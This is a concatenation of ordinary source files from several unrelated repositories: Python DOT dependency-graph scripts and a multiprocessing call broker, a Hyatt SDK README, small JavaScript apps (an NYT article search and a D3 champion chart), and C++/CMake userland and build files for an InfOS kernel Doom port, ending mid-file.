mod in modules: mods_to_lib[mod] = name print 'digraph oslo {' # Represent the module dependencies as library dependencies # with the module name as the edge label edges = set() for mod, deps in sorted(dependencies.items()): src_lib_name = mods_to_lib.get(mod, mod) generate_node(src_lib_name) src_lib = _node_names[src_lib_name] for d in deps: dest_lib_name = mods_to_lib.get(d, d) if dest_lib_name == src_lib_name: continue generate_node(dest_lib_name) dest_lib = _node_names[dest_lib_name] edge = '%s -> %s [ label = "%s:%s" ];' % (src_lib, dest_lib, mod, d) #edge = '%s -> %s;' % (src_lib, dest_lib) if edge not in edges: generate_node(src_lib_name) generate_node(dest_lib_name) print edge edges.add(edge) print '}' libraries, dependencies = get_deps_by_module('status.txt') print_graph(libraries, dependencies) <file_sep>#!/bin/sh set -ex format=$1 if [ -z "$format" ] then format="png" fi function draw { typeset base=$1 dot -T${format} -o${base}.${format} ${base}.dot # neato -T${format} -o${base}_neato.${format} ${base}.dot # twopi -T${format} -o${base}_twopi.${format} ${base}.dot circo -T${format} -o${base}_circo.${format} ${base}.dot } depend_graph.py > modules.dot draw modules lib_graph.py > libs.dot draw libs lib_graph_verbose.py > libs_verbose.dot draw libs_verbose lib_graph_uncluttered.py > libs_uncluttered.dot draw libs_uncluttered <file_sep>#!/usr/bin/env python """Produce a dependency graph in the DOT language. """ import collections import itertools import fileinput def get_deps_by_module(infile): library_name = None dependencies = {} libraries = {} for n, line in enumerate(fileinput.input(infile)): if line.startswith('== '): # New lib library_name = line.strip().strip('=').strip() libraries[library_name] = [] module_name = None elif line.startswith('=== '): # New module module_name = line.strip().strip('=').strip() libraries[library_name].append(module_name) dependencies[module_name] = [] elif line.startswith(':Depends on:'): # Dependencies if not module_name: raise ValueError('found dependencies on line %d without a module' % n) depstr = line.rpartition(':')[-1].strip() if depstr != '(none)': deps = [d.strip() for d in depstr.split(',')] dependencies[module_name] = deps return libraries, dependencies _node_namer = iter('N%d' % i for i in itertools.count()) _node_names = collections.defaultdict(_node_namer.next) _known_nodes = set() def generate_node(label): if label not in _known_nodes: print ' %s [ label = "%s" ];' % (_node_names[label], label) _known_nodes.add(label) def print_graph(libraries, dependencies): print 'digraph oslo {' # Each library is a subgraph for name, modules in sorted(libraries.items()): n = _node_namer.next() print 'subgraph %s {' % n print ' label = "%s";' % name print ' style = filled;' print ' color=black;' print ' node [style=filled,color=lightgrey];' for mod in modules: generate_node(mod) print '}' # Generate node label statements for mod, deps in sorted(dependencies.items()): generate_node(mod) for d in deps: generate_node(d) print # Generate the edges for mod, deps in sorted(dependencies.items()): for d in deps: print ' %s -> %s;' % (_node_names[mod], _node_names[d]) print '}' libraries, dependencies = get_deps_by_module('status.txt') print_graph(libraries, dependencies) <file_sep>#!/usr/bin/env python """Produce a dependency graph in the DOT language. """ import collections import itertools import fileinput def get_deps_by_module(infile): library_name = None module_name = None dependencies = {} libraries = {} for n, line in enumerate(fileinput.input(infile)): if line.startswith('== '): # New lib library_name = line.strip().strip('=').strip() libraries[library_name] = { 'status': 'dev', 'modules': [], } module_name = None if library_name.startswith('INCUBATOR:'): libraries[library_name]['status'] = 'Incubating' elif line.startswith('=== '): # New module module_name = line.strip().strip('=').strip() libraries[library_name]['modules'].append(module_name) dependencies[module_name] = [] elif not module_name and line.startswith(':S:'): # library status libraries[library_name]['status'] = line.rsplit(':', 1)[-1].strip() or 'dev' elif line.startswith(':Depends on:'): # Dependencies if not module_name: raise ValueError('found dependencies on line %d without a module' % n) depstr = line.rpartition(':')[-1].strip() if depstr != '(none)': deps = [d.strip() for d in depstr.split(',')] dependencies[module_name] = deps return libraries, dependencies _node_colors = { 'dev': ('lightgrey', 'black'), 'Released': ('steelblue', 'white'), 'Graduating': ('orange', 'black'), 'Deleting': ('crimson', 'white'), 'Next': ('yellow', 'black'), 'Incubating': ('lightgrey', 'red'), } _node_namer = iter('N%d' % i for i in itertools.count()) _node_names = collections.defaultdict(_node_namer.next) _known_nodes = set() def generate_node(label, shape='oval', bgcolor='white', fgcolor='black'): if label not in _known_nodes: print ' %s [ label = "%s", shape=%s, color=%s, fontcolor=%s style=filled ];' % \ (_node_names[label], label, shape, bgcolor, fgcolor) _known_nodes.add(label) def print_graph(libraries, dependencies): # Invert the library contents so we can link # to the library instead of its contents mods_to_lib = {} for name, attrs in sorted(libraries.items()): for mod in attrs['modules']: mods_to_lib[mod] = name print 'digraph oslo {' # Show all of the libraries, even if there are no dependencies for name, attrs in sorted(libraries.items()): bg, fg = _node_colors.get(attrs['status'], ('white', 'black')) generate_node(name, bgcolor=bg, fgcolor=fg) # Represent the module dependencies as library dependencies # with the module name as the edge label edges = set() for mod, deps in sorted(dependencies.items()): src_lib_name = mods_to_lib.get(mod, mod) #generate_node(src_lib_name) src_lib = _node_names[src_lib_name] for d in deps: dest_lib_name = mods_to_lib.get(d, d) if dest_lib_name == src_lib_name: continue #generate_node(dest_lib_name) dest_lib = _node_names[dest_lib_name] #edge = '%s -> %s [ label = "%s" ];' % (src_lib, dest_lib, d) edge = '%s -> %s;' % (src_lib, dest_lib) if edge not in edges: generate_node(src_lib_name) generate_node(dest_lib_name) print edge edges.add(edge) print '}' libraries, dependencies = get_deps_by_module('status.txt') print_graph(libraries, dependencies)
9e0a54fd3ca1c80ac13014c49990e40e018a91ea
[ "Python", "reStructuredText", "Shell" ]
5
reStructuredText
dhellmann/oslo-dependencies
169d2b513579bd1a858e6b725abbf4a75c53f1fa
1ee74f050a0e5d5ac48dce5125bc4b874d026486
refs/heads/master
<file_sep>from __future__ import absolute_import from __future__ import print_function __version__ = "0.2.2" import multiprocessing, asyncio, logging, concurrent.futures, time, uuid, sys class AsyncCall(object): """Describes a call to the pipeline. Parameters ---------- targetMethod : str the name of the method to call (must be a method of the object returned by the function that you pass to the Broker constructor) *args Variable length argument list. (arguments of the target method) *kwargs Arbitrary keyword arguments (of the target method) """ def __init__(self, targetMethod:str, *args, **kwargs): self.TargetMethod = targetMethod self.Key = str(<KEY>()) self.Args = args self.Kwargs = kwargs return class AsyncResponse(object): """Describes the result of a call. Parameters ---------- Key : str the random key used to associate AsyncCall and AsyncResponse objects Success : bool indicates if execution of the call was successful Result value returned by the target method Error : Exception exception that occurred during execution of the call """ def __init__(self, key:str, success:bool, result:object, error:Exception): self.Key = key self.Success = success self.Result = result self.Error = error return class Broker(object): """Handles scheduling and running of computations on a second process.""" def __init__(self, processorConstructor, *pc_args, **pc_kwargs): """Starts a second thread for calling methods on the instance created through processorConstructor. Parameters ---------- processorContructor : function function that returns an instance of the computation pipeline *pc_args Variable length argument list. (arguments of processor constructor) *pc_kwargs Arbitrary keyword arguments (of the processor constructor) """ self.FinishedTasks = {} self.RunningTasks = [] childEnd, self.__ParentEnd__ = multiprocessing.connection.Pipe() self.__ComputationProcess__ = multiprocessing.Process(target=self.__start__, args=(childEnd,processorConstructor, pc_args, pc_kwargs), name="ComputationProcess") self.__ComputationProcess__.start() self.ThreadExecutor = concurrent.futures.ThreadPoolExecutor(256) self.ThreadExecutor.submit(self.__receive__) return @classmethod def __start__(clsself, pipeEnd:multiprocessing.connection.Pipe, processorConstructor, pc_args, pc_kwargs): """Instantiates processorConstructor and executes calls on the instance of the processor. Listens for incoming calls through the pipe. Sends return values of executed calls back through the pipe. Parameters ---------- pipeEnd : multiprocessing.connection.Pipe child end of the pipe connection to the broker process processorContructor : function function that returns an instance of the computation pipeline *pc_args Variable length argument list. (arguments of processor constructor) *pc_kwargs Arbitrary keyword arguments (of the processor constructor) """ logging.info("Broker: initializing...") # we're now on the second process, so we can create the processor processor = processorConstructor(*pc_args, **pc_kwargs) logging.info("Broker: initialization completed") # endlessly loop while True: # get input key call, = pipeEnd.recv() # process input synchronously logging.info("{0} processing".format(call.Key)) # execute the said method on the processor response = None try: returned = processor.__getattribute__(call.TargetMethod)(*call.Args, **call.Kwargs) response = AsyncResponse(call.Key, True, returned, None) except: response = AsyncResponse(call.Key, False, None, sys.exc_info()[1]) pipeEnd.send((response,)) # continue looping # will never return return def submit_call(self, call:AsyncCall): """Submits a call and returns immediately. Parameters ---------- call : AsyncCall the call that is to be scheduled Returns ------- str call.Key """ logging.info("{0} scheduled {1}".format(call.Key, call.TargetMethod)) # add the key to the queue self.__ParentEnd__.send((call,)) self.RunningTasks.append(call.Key) return call.Key def submit_call_async(self, call:AsyncCall): """(asynchronous) Submits a call and yields the result. Parameters ---------- call : AsyncCall the call that is to be scheduled Returns ------- generator a generatorthat yields AsyncResponse Examples -------- @asyncio.coroutine def myfunc(): call = broker.AsyncCall("uppercase", text="blabla") asyncResponse = yield compuBroker.submit_call_async(call) print(asyncResponse.Sucess) print(asyncResponse.Result) """ self.submit_call(call) return self.get_result_async(call.Key) def get_result_async(self, key:str): """(asynchronous) Spawns a thread to wait for completion of a running call. Parameters ---------- key : str key of the original AsyncCall Returns -------- generator a generator that yields (AsyncResponse || None) Examples -------- @asyncio.coroutine def myfunc(): call = broker.AsyncCall("uppercase", text="blabla") compuBroker.submitCall(call) asyncResponse = yield compuBroker.getResultAsync(call.Key) print(asyncResponse.Sucess) print(asyncResponse.Result) """ return self.ThreadExecutor.submit(self.get_result, key) def get_result(self, key:str): """(blocking) Waits until the key is not present in RunningTasks. Parameters ---------- key : str key of the original AsyncCall Returns -------- (AsyncResponse || None) """ while (key in self.RunningTasks): time.sleep(0.05) if (key in self.FinishedTasks): return self.FinishedTasks.pop(key) else: return None def __receive__(self): """Continuously listen for tasks being completed.""" while (True): time.sleep(0.005) # receive all computations that have finished while self.__ParentEnd__.poll(): response, = self.__ParentEnd__.recv() self.FinishedTasks[response.Key] = response self.RunningTasks.remove(response.Key) if (not response.Success): logging.warning("{0} failed: {1}".format(response.Key, response.Error)) else: logging.info("{0} completed".format(response.Key)) return
39014ed1f26651dc5aabb78476984eb400b2236e
[ "Python" ]
1
Python
raghavnprasad/dualprocessing
f657aff8d06b17f45c590b23d92f0ca6bffbae7d
24d9ee1dd0450596285c22825fb0a75dc3f5ea05
refs/heads/master
<file_sep>## stayexpert-haytt ![NPM version](https://img.shields.io/npm/v/hyatt.svg?style=flat) a SDK of hyatt hotels APIs. [WIP yet] `haytt` namespace was taken by haytt hotel group, now using `stayexpert-haytt` instead. ### Installation ```bash $ npm install stayexpert-haytt --save ``` ### Example ```js var hyatt = require('stayexpert-haytt'); hyatt.search({ country: 'CN', province: 'CNHP', city: 'Sanya', arrivalDate: dataUtils.now(), departureDate: dataUtils.tomorrow() }, function(err, hotels){ if (err) return console.error(err) console.log(hotels); }); ``` Response JSON would like this: ```js { id: '3482', thumbnail: '/pub/media/3482/str3482po.134187_md.jpg', name: '三亚亚龙湾瑞吉度假酒店', country: '中国,', state: '海南,', city: '三亚亚龙湾', address: '亚龙湾国家旅游度假区', fax: '(86)(898) 8855 5555', zipcode: '572016', category: '6', description: '酒店位于中国最顶级的度假村目的地海南岛,并占据得天独厚的优美海滨地点,是畅享休闲宁静的人间天堂。', bestRate: '4,200', redeemPoints: false, redeemCashPoints: false } ``` ### API Check this file: `lib/hyatt.js` ### Tests ```bash $ npm run test ``` ### Contributing - Fork this repo - Clone your repo - Install dependencies - Checkout a feature branch - Feel free to add your features - Make sure your features are fully tested - Open a pull request, and enjoy <3 ### MIT license Copyright (c) 2014 turing &lt;<EMAIL>&gt; Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the &quot;Software&quot;), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. --- ![docor](https://raw.githubusercontent.com/turingou/docor/master/docor.png) built upon love by [docor](https://github.com/turingou/docor.git) v0.2.0<file_sep>module.exports = require('./lib/hyatt');
caf29692c0a851263bd0cf48193a73d6d86af068
[ "Markdown", "JavaScript" ]
2
Markdown
StayExpert/hyatt
6237de6a697f3424f4f74674140da9bab7849d1c
d555469ca5af6e9939d82db1d5a0bbf6e2050d95
refs/heads/master
<file_sep>$('#search-button').on("click", function(event) { event.preventDefault(); var searchTerm = $("#search-term").val(); var numRecords = $("#records").val(); var startDate = "&begin_date=" + $("#start-year").val(); var endDate = "&end_date=" + $("#end-year").val(); // var searchTerm = 'election'; const apikey = "&api-key=<KEY>"; var queryURL = "https://api.nytimes.com/svc/search/v2/articlesearch.json?q=" + searchTerm + apikey; $.ajax({ url: queryURL, method: "GET" }) .then(function(response) { var results = response.response; console.log(results); $("#results").append(JSON.stringify(results)); }); });
f40b1d048228637d3bc2ec2a429a4292110b070e
[ "JavaScript" ]
1
JavaScript
amandalragone/NYTimes
c15b90ad7559b717549f66ba71614b0f02b857e8
c72284fde78d282fa23bd7524d1b3b8393585b90
refs/heads/master
<repo_name>wlam0001/jmoc583-project3<file_sep>/README.md # jmoc583-project3 #League of Legends Champion View With this application, you can select the champion based on class and then their name to view their picture. Install $git clone https://github.com/wlam0001/jmoc583-project3 Run $serve -p 3000 <file_sep>/js/app.js var overview = null; var champion = null; //read data from json via ajax call d3.json("/js/overview.json", function(error, data) { overview = data; datacall(); }); d3.json("/js/champion.json", function(error, data) { champion = data; datacall(); }); //check for validity of data function datacall() { if (overview != null && champion != null) { startup(); } } function startup() { //sets up pie chart var width = 950, height = 500, radius = Math.min(width, height) / 2; var color = d3.scale.ordinal() .range(["#001133"]); var pie = d3.layout.pie() .value(function(d) { return d.champions; }) .sort(null); var arc = d3.svg.arc() .innerRadius(radius - 100) .outerRadius(radius - 10); var svg = d3.select(".container").append("svg") .attr("width", width) .attr("height", height) .append("g") .attr("transform", "translate(" + width / 2 + "," + height / 2 + ")"); var g = svg.selectAll(".arc"); var path = null; var path2 = null; d3.select('.title') .on("click", function() { original(); }); //loads first pie chart original(); function original() { displayTip(); //removes previous pie path drawing if (path2 != null) { path2.remove(); } //gives pie chart specific data g = g.data(pie(overview), function(d) { return d.data.class; }); //gives each path element mouseover, mouseout and click even attribute path = g.enter().append("path") .attr("fill", function(d) { return color(d.data.class); }) .on('mouseover', function(d) { displayTip(); mouseOver(this, d); }) .on('mouseout', function(d) { show(this); displayTip(); }) .on("click", function(d) { change(d.data.class); //loads new pie based on path clicked }); g.exit().remove(); //removes old labels g.attr("d", arc); //loads the pie chart putLabel(); } function change(leagueTag) { path.remove(); //removes old data from previous pie pie.value(function(d) { return 1; }); //gets specific data based on path chosen var specificChampions = specificChamps(champion, leagueTag); g = g.data(pie(specificChampions), function(d) { return d.data.name; }); //appends paths to form a circle path2 = g.enter().append("path") .attr("fill", function(d) { return color(d.data.name); }) .on('mouseover', function(d) { mouseOver(this, d, leagueTag); }) .on('mouseout', function(d) { show(this); }) .on("click", function(d) { getOriginal(d); }); g.exit().remove(); //removes previous labels g.attr("d", arc); //loads the pie putLabel(leagueTag); } //function that loads the orignal data for onclick events function getOriginal(d) { d3.event.stopPropagation(); displayTip("<h3><b>" + d.data.name + "</b></h3>" + '</br><img src="' + d.data.image + '" />'); d3.select('.info') .on("click", function() { original(); }); } //fucntions that performs actions for mouseover events function mouseOver(current, d, tag) { if (tag == null) { displayTip("<h3>" + d.data.class + "</h3>" + "<br />" + d.data.info); } d3.select(current) .style('opacity', 0.3); } //appends to the pie labels function putLabel(tag) { g.enter().append("text") //appends label based on size of the data .attr("transform", function(d) { var getAngle = (180 / Math.PI * (d.startAngle + d.endAngle) / 2 - 90); if (d.data.name == null || ((tag != "Fighter") && (tag != "Mage"))) { var getAngle = 0; } return "translate(" + arc.centroid(d) + ") " + "rotate(" + getAngle + ")"; }) .attr("text-anchor", "middle") .attr("fill", "#D2B14C") .text(function(d) { if (d.data.name == null) { return d.data.class; } return d.data.name; }) //appends same events as the path they overlay .on('mouseover', function(d) { if (d.data.name == null) { displayTip(); mouseOver(this, d); } else { mouseOver(this, d, tag); } }) .on('mouseout', function(d) { if (d.data.name == null) { displayTip(); } show(this); }) .on("click", function(d) { if (d.data.class != null) { change(d.data.class); } else { getOriginal(d); } }); } //display information at center of the pie function displayTip(description) { var displayinfo = "</br></br>Before beginnning your fight, pick your role and your champion."; if (description != null) { displayinfo = description; } d3.select('.info') .style("left", width / 2 + 90 + "px") .style("top", height / 2 + 215 + "px") .html(displayinfo); } //shows current selected object function show(current) { d3.select(current) .style('opacity', 1); } //hides current selected object function hide(current) { d3.select(current) .style('opacity', 0); } } //see if a class type is in the array of class types the champion belongs to function contains(tags, certainTag) { var i = tags.length; while (i--) { if (tags[0] == certainTag) { return true; } } return false; } //returns an array of champions that fits the given critera function specificChamps(champions, tags) { var specificChampion = []; champion.forEach(function(champ) { var champTag = champ.tags; if (champTag[0] == tags) { specificChampion.push(champ); } }); return specificChampion; }
cc520c27da51e83117db066f036bb2a0d41507ca
[ "Markdown", "JavaScript" ]
2
Markdown
wlam0001/jmoc583-project3
c059b16b60c63de06b150724d28aa3aac606b438
cab6c867639963c170f067ed4a1c454289be2d67
refs/heads/main
<repo_name>nankeen/infos-doom<file_sep>/userland/ls/main.cpp /* SPDX-License-Identifier: MIT */ #include <libcore.h> int main(const char *cmdline) { const char *path; if (!cmdline || strlen(cmdline) == 0) { path = "/usr"; } else { path = cmdline; } HDIR dir = opendir(path, 0); if (is_error(dir)) { printf("Unable to open directory '%s' for reading.\n", path); return 1; } printf("Directory Listing of '%s':\n", path); struct dirent de; while (readdir(dir, &de)) { printf(" %s (%u bytes)\n", de.name, de.size); } closedir(dir); return 0; } <file_sep>/run-vnc.sh #!/bin/sh TOP=`pwd` INFOS_DIR=$TOP/infos INFOS_USER_DIR=$TOP/infos-user ROOTFS=$INFOS_USER_DIR/bin/rootfs.tar ISO=$TOP/build/infos.iso QEMU=qemu-system-x86_64 $QEMU -cdrom $ISO -m 6G -debugcon stdio -hda $ROOTFS -display vnc=localhost:1234 -S -s <file_sep>/userland/cat/main.cpp /* SPDX-License-Identifier: MIT */ #include <libcore.h> int main(const char *cmdline) { if (!cmdline || strlen(cmdline) == 0) { return 1; } HFILE file = open(cmdline, 0); if (is_error(file)) { printf("error: unable to open file '%s' for reading\n", cmdline); return 1; } char buffer[64]; int bytes_read; do { bytes_read = read(file, buffer, sizeof(buffer)-1); buffer[bytes_read] = 0; printf("%s", buffer); } while (bytes_read > 0); close(file); return 0; } <file_sep>/userland/libcore/src/exec.cpp /* SPDX-License-Identifier: MIT */ /** * MIT License * * Copyright (c) 2018 <NAME> * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #include <libcore.h> HPROC exec(const char *program, const char *args) { return (HPROC)syscall(SYS_EXEC, (unsigned long)program, (unsigned long)args); } void wait_proc(HPROC proc) { syscall(SYS_WAIT_PROC, proc); } HTHREAD create_thread(ThreadProc tp, void *arg) { return (HTHREAD)syscall(SYS_CREATE_THREAD, (unsigned long)tp, (unsigned long)arg); } void stop_thread(HTHREAD thread) { syscall(SYS_STOP_THREAD, thread); } void join_thread(HTHREAD thread) { syscall(SYS_JOIN_THREAD, thread); } void usleep(unsigned long us) { syscall(SYS_USLEEP, us); } void system(const char *cmd) { char prog[64]; int n = 0; while (*cmd && *cmd != ' ' && n < 63) { prog[n++] = *cmd++; } prog[n] = 0; if (*cmd) cmd++; HPROC pcmd = exec(prog, cmd); if (is_error(pcmd)) { printf("error: unable to run command %s '%s'\n", prog, cmd); } else { wait_proc(pcmd); } } <file_sep>/userland/CMakeLists.txt function(add_userland_executable) set(options) set(oneValueArgs NAME) set(multiValueArgs SOURCES) cmake_parse_arguments(USERLAND_EXEC "${options}" "${oneValueArgs}" "${multiValueArgs}" ${ARGN}) add_executable(${USERLAND_EXEC_NAME} ${USERLAND_EXEC_SOURCES}) add_dependencies(${USERLAND_EXEC_NAME} ${NEWLIB_TARGET}) target_compile_options(${USERLAND_EXEC_NAME} PRIVATE $<$<COMPILE_LANGUAGE:C>:${C_COMPILER_FLAGS}> $<$<COMPILE_LANGUAGE:CXX>:${CXX_COMPILER_FLAGS}>) target_include_directories(${USERLAND_EXEC_NAME} PUBLIC ${NEWLIB_INCLUDES}) target_link_directories(${USERLAND_EXEC_NAME} PRIVATE ${NEWLIB_LIBS}) target_link_libraries(${USERLAND_EXEC_NAME} c g m nosys) set_property(TARGET ${USERLAND_EXEC_NAME} PROPERTY CXX_STANDARD ${INFOS_CXX_STANDARD}) set_property(TARGET ${USERLAND_EXEC_NAME} PROPERTY LINK_FLAGS "-O3 -nostdlib -nostdinc -static ${NEWLIB_LIBS}/crt0.o") endfunction() function(add_core_executable) set(options) set(oneValueArgs NAME) set(multiValueArgs SOURCES) cmake_parse_arguments(USERLAND_EXEC "${options}" "${oneValueArgs}" "${multiValueArgs}" ${ARGN}) add_executable(${USERLAND_EXEC_NAME} ${USERLAND_EXEC_SOURCES}) target_compile_options(${USERLAND_EXEC_NAME} PRIVATE $<$<COMPILE_LANGUAGE:C>:${C_COMPILER_FLAGS}> $<$<COMPILE_LANGUAGE:CXX>:${CXX_COMPILER_FLAGS}>) set_property(TARGET ${USERLAND_EXEC_NAME} PROPERTY CXX_STANDARD ${INFOS_CXX_STANDARD}) set_property(TARGET ${USERLAND_EXEC_NAME} PROPERTY LINK_FLAGS "-O3 -nostdlib -nostdinc -static") target_link_libraries(${USERLAND_EXEC_NAME} ${LIBCORE_TARGET}) endfunction() set(DOOM_TARGET doom) add_subdirectory(libcore) add_subdirectory(doom) add_core_executable(NAME shell SOURCES shell/main.cpp) add_core_executable(NAME init SOURCES init/main.cpp) add_core_executable(NAME cat SOURCES cat/main.cpp) add_core_executable(NAME ls SOURCES ls/main.cpp) add_core_executable(NAME test-graphics SOURCES test-graphics/main.cpp) add_userland_executable(NAME test-newlib SOURCES test-newlib/main.cpp) <file_sep>/userland/libcore/src/printf.cpp /* SPDX-License-Identifier: MIT */ /** * MIT License * * Copyright (c) 2018 <NAME> * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #include <libcore.h> int printf(const char *fmt, ...) { char buffer[0x1000]; int rc; va_list args; va_start(args, fmt); rc = vsnprintf(buffer, sizeof(buffer)-1, fmt, args); va_end(args); write(__console_handle, buffer, (size_t)rc); return rc; } int sprintf(char *buffer, const char *fmt, ...) { int rc; va_list args; va_start(args, fmt); rc = vsnprintf(buffer, 0x1000, fmt, args); va_end(args); return rc; } static void prepend_to_buffer(char c, char *buffer, int size) { for (int i = size; i > 0; i--) { buffer[i] = buffer[i - 1]; } *buffer = c; } static int append_num(char *buffer, int size, uint64_t value, int base, bool sgn, int pad, char pad_char) { int n = 0; if (pad >= size) { pad = size - 1; } if (sgn && (int64_t)value < 0) { prepend_to_buffer('-', buffer, n++); value = -value; } if (value > 0) { while (value > 0 && n < size) { int digit_value = (int)value % base; switch(digit_value) { case 0 ... 9: prepend_to_buffer('0' + (char)digit_value, buffer, n++); break; case 10 ... 35: prepend_to_buffer('a' + (char)digit_value - 10, buffer, n++); break; } value /= (uint64_t)base; } } else if (n < size) { prepend_to_buffer('0', buffer, n++); *buffer = '0'; } pad -= n; while (pad > 0 && n < size) { prepend_to_buffer(pad_char, buffer, n++); pad--; } return n; } static int append_str(char *buffer, int size, const char *text, int pad, char pad_char) { int n = 0; while (*text && n < size) { *buffer = *text; buffer++; text++; n++; } while (n < size && n < pad) { *buffer++ = pad_char; n++; } return n; } int vsnprintf(char *buffer_base, int size, const char *fmt_base, va_list args) { const char *fmt = fmt_base; char *buffer = buffer_base; // Handle a zero-sized buffer. if (size == 0) { return 0; } // Do the printing, while we are still consuming format characters, and // haven't exceeded 'size'. int count = 0; while (*fmt != 0 && count < (size - 1)) { if (*fmt == '%') { int pad_size = 0, rc; char pad_char = ' '; int number_size = 4; retry_format: fmt++; switch (*fmt) { case 0: continue; case '0': if (pad_size > 0) { pad_size *= 10; } else { pad_char = '0'; } goto retry_format; case '1' ... '9': pad_size *= 10; pad_size += *fmt - '0'; goto retry_format; case 'd': case 'u': { uint64_t v; if (number_size == 8) { if (*fmt == 'u') { v = (uint64_t)va_arg(args, uint64_t); } else { v = (uint64_t)va_arg(args, int64_t); } } else { if (*fmt == 'u') { v = (uint64_t)(uint32_t)va_arg(args, uint32_t); } else { v = (uint64_t)(int64_t)(int32_t)va_arg(args, int32_t); } } rc = append_num(buffer, size - 1 - count, v, 10, *fmt == 'd', pad_size, pad_char); count += rc; buffer += rc; break; } case 'b': case 'x': case 'p': { unsigned long long int v; if (number_size == 8 || *fmt == 'p') { v = va_arg(args, unsigned long long int); } else { v = (unsigned long long int)va_arg(args, unsigned int); } if (*fmt == 'p') { rc = append_str(buffer, size - 1 - count, "0x", 0, ' '); count += rc; buffer += rc; } rc = append_num(buffer, size - 1 - count, v, (*fmt == 'b' ? 2 : 16), false, pad_size, pad_char); count += rc; buffer += rc; break; } case 'l': number_size = 8; goto retry_format; case 's': rc = append_str(buffer, size - 1 - count, va_arg(args, const char *), pad_size, pad_char); count += rc; buffer += rc; break; case 'c': *buffer = (char)va_arg(args, int); buffer++; count++; break; default: *buffer = *fmt; buffer++; count++; break; } fmt++; } else { *buffer = *fmt; buffer++; fmt++; count++; } } // Null-terminate the buffer *buffer = 0; return count; } char getch() { char buffer; int r = 0; while (r < 1) { r = read(__console_handle, &buffer, 1); } return buffer; } <file_sep>/CMakeLists.txt cmake_minimum_required(VERSION 3.14) set(CMAKE_TOOLCHAIN_FILE ${CMAKE_SOURCE_DIR}/toolchain.cmake) project(infos-doom VERSION 0.0.1 LANGUAGES C CXX ASM) include(ExternalProject) set(TARGET_SYSROOT ${CMAKE_BINARY_DIR}/rootfs) file(MAKE_DIRECTORY ${TARGET_SYSROOT}) # Set compilation flags set(WARNING_FLAGS -Wall -Wextra -Wshadow) set(COMMON_COMPILER_FLAGS -fno-builtin -fno-stack-protector ${WARNING_FLAGS}) set(C_COMPILER_FLAGS ${COMMON_COMPILER_FLAGS}) set(CXX_COMPILER_FLAGS ${COMMON_COMPILER_FLAGS} -fno-exceptions -fno-rtti) set(INFOS_CXX_STANDARD 20) set(CMAKE_C_STANDARD 11) # =================================================== # # # Kernel Target and ISO # # # =================================================== # kernel target name set(KERNEL_TARGET infos-kernel) # kernel output path set(KERNEL_TARGET_OUT ${CMAKE_CURRENT_SOURCE_DIR}/infos/out/${KERNEL_TARGET}) # libcore target name set(LIBCORE_TARGET core) set(CMAKE_MODULE_PATH "${CMAKE_MODULE_PATH}" "${CMAKE_SOURCE_DIR}") # Define kernel compile target add_custom_command(OUTPUT ${KERNEL_TARGET_OUT} COMMAND make cc=${CMAKE_C_COMPILER} cxx=${CMAKE_CXX_COMPILER} objcopy=${CMAKE_OBJCOPY} ld=${CMAKE_LINKER} as=${CMAKE_ASM_COMPILER} WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}/infos) add_custom_target(${KERNEL_TARGET} DEPENDS ${KERNEL_TARGET_OUT}) # Define grub ISO target find_program(GRUB_MKRESCUE grub-mkrescue) if (NOT GRUB_MKRESCUE) message(WARNING "Unable to find `grub-mkrescue`. Bootable ISO image generation will not be available.") else () file(MAKE_DIRECTORY ${CMAKE_BINARY_DIR}/isofiles/boot/grub) file(COPY ${CMAKE_SOURCE_DIR}/boot/grub.cfg DESTINATION ${CMAKE_BINARY_DIR}/isofiles/boot/grub) set(ISO_TARGET grub-bootable-iso) set(ISO_PATH ${CMAKE_BINARY_DIR}/infos.iso) add_custom_target(${ISO_TARGET} ALL COMMAND 